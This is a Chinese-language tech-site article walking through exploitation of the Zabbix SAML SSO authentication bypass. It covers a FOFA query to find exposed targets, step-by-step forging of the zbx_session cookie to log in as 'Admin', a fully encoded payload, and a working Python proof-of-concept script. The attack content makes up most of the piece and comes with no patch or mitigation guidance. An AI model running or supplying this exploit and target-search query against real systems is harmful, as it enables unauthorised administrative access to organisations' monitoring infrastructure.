首頁 > 軟體

Zabbix SAML SSO 登入繞過漏洞的操作流程

2022-03-02 16:00:22

一、簡介

zabbix是一個基於WEB介面的提供分散式系統監視以及網路監視功能的企業級的開源解決方案。zabbix能監視各種網路引數,保證伺服器系統的安全運營;並提供靈活的通知機制以讓系統管理員快速定位/解決存在的各種問題。

zabbix server可以通過SNMP,zabbix agent,ping,埠監視等方法提供對遠端伺服器/網路狀態的監視,資料收集等功能,它可以執行在Linux,Solaris,HP-UX,AIX,Free BSD,Open BSD,OS X等平臺上。

該漏洞源於在啟用 saml SSO 身份驗證(非預設)的情況下,未身份驗證的攻擊者可以修改對談資料,成功繞過前臺進入後臺,因為儲存在對談中的使用者登入未經過驗證。

漏洞的限制條件:需要啟用 SAML 身份驗證,並且攻擊者必須知道 Zabbix 使用者的使用者名稱。

二、FOFA語法

app=“ZABBIX-監控系統” && body=“SAML”

三、復現流程

1、通過fofa語法搜尋zabbix資產存取首頁獲取set-cookie中zbx_session引數的值

2、通過Url解碼和Base64解碼獲得zbx_session引數Json格式資料

{"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="}

3、通過在Json中新增saml_data和username_attribute引數後重新Base64編碼和Url編碼構造Payload

{"saml_data":{"username_attribute":"Admin"},"sessionid":"67f71355eb96121f384ea0571290faca","sign":"Uyq2BXQfe5Iug4UBpucwq3PXAmVh0ctpR4pvEfzg/OWe7TKhmAQdqyu5iUmtWzQR+0m33eQBHnk1VV+IO0icAQ=="}

4、把構造好的payload進行base64編碼和url編碼

%65%79%4a%7a%59%57%31%73%58%32%52%68%64%47%45%69%4f%6e%73%69%64%58%4e%6c%63%6d%35%68%62%57%56%66%59%58%52%30%63%6d%6c%69%64%58%52%6c%49%6a%6f%69%51%57%52%74%61%57%34%69%66%53%77%69%63%32%56%7a%63%32%6c%76%62%6d%6c%6b%49%6a%6f%69%4e%6a%64%6d%4e%7a%45%7a%4e%54%56%6c%59%6a%6b%32%4d%54%49%78%5a%6a%4d%34%4e%47%56%68%4d%44%55%33%4d%54%49%35%4d%47%5a%68%59%32%45%69%4c%43%4a%7a%61%57%64%75%49%6a%6f%69%56%58%6c%78%4d%6b%4a%59%55%57%5a%6c%4e%55%6c%31%5a%7a%52%56%51%6e%42%31%59%33%64%78%4d%31%42%59%51%57%31%57%61%44%42%6a%64%48%42%53%4e%48%42%32%52%57%5a%36%5a%31%77%76%54%31%64%6c%4e%31%52%4c%61%47%31%42%55%57%52%78%65%58%55%31%61%56%56%74%64%46%64%36%55%56%49%72%4d%47%30%7a%4d%32%56%52%51%6b%68%75%61%7a%46%57%56%69%74%4a%54%7a%42%70%59%30%46%52%50%54%30%69%66%51%3d%3d

5、請求index_sso.php,在http請求頭中構造payload,將zbx_session的值替換為url編碼後的payload

6、成功登入後臺

可利用poc直接獲取構造後的payload

poc:

import requests
import re
import urllib.parse
import base64
import json
import sys
 
def exp(target, username):
	resp = requests.get(url=target, verify=False)
	cookie = resp.headers.get("Set-Cookie")
	zbx_session = re.findall(r"zbx_session=(.*?); ", cookie)
	url_decode_data = urllib.parse.unquote(zbx_session[0], encoding='utf-8')
	base64_decode_data = base64.b64decode(url_decode_data)
	decode_to_str = str(base64_decode_data, encoding='utf-8')
	to_json = json.loads(decode_to_str)
	tmp_ojb = dict(saml_data=dict(username_attribute=username), sessionid=to_json["sessionid"], sign=to_json["sign"])
	payloadJson = json.dumps(tmp_ojb)
	print("decode_payload:", payloadJson)
	payload = urllib.parse.quote(base64.b64encode(payloadJson.encode()))
	print("zbx_signed_session:", payload)
if __name__ == "__main__":
	if len(sys.argv) != 3:
		print("argv error")
		exit(0)
	target = sys.argv[1]
	username = sys.argv[2]
	exp(target, username)

到此這篇關於Zabbix SAML SSO 登入繞過漏洞的文章就介紹到這了,更多相關Zabbix 登入繞過漏洞內容請搜尋it145.com以前的文章或繼續瀏覽下面的相關文章希望大家以後多多支援it145.com!


IT145.com E-mail:sddin#qq.com